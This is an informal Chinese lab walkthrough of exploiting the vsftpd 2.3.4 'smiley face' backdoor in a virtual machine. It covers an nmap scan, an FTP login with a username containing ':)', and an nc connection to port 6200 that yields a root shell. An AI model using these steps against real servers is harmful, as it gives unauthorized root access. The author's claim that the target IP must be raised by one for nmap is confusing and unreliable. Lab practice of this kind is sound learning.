笑脸漏洞的虚拟机利用

VSFTPD v2.3.4版本有个著名的笑脸漏洞，也就是程序员编程留下的后门，即用户名中存在“：）”标志的用户就能利用后门获得访问权限

在虚拟机环境下，利用漏洞首先要知道主机ip，老生常谈了

主机地址192.168.136.130

然后nmap扫描一下，了解啥端口开放，这里要看看21端口是否开放。

是开放的。

然后看看版本号是不是存在笑脸漏洞的版本，

显然是的，是vsftpd 2.3.4.。。。。注意用nmap -sV 命令时候ip地址最后要加1，最后本来是130，要变131

下面尝试用nc打开6200端口

不行啊；；；

打开21端口试试？

打开后输入user a：）

（账号）

pass（密码）随便输入。。。。。

最后打开6200端口

输入whoami（我是谁？。。。）

看到root 权限开启了。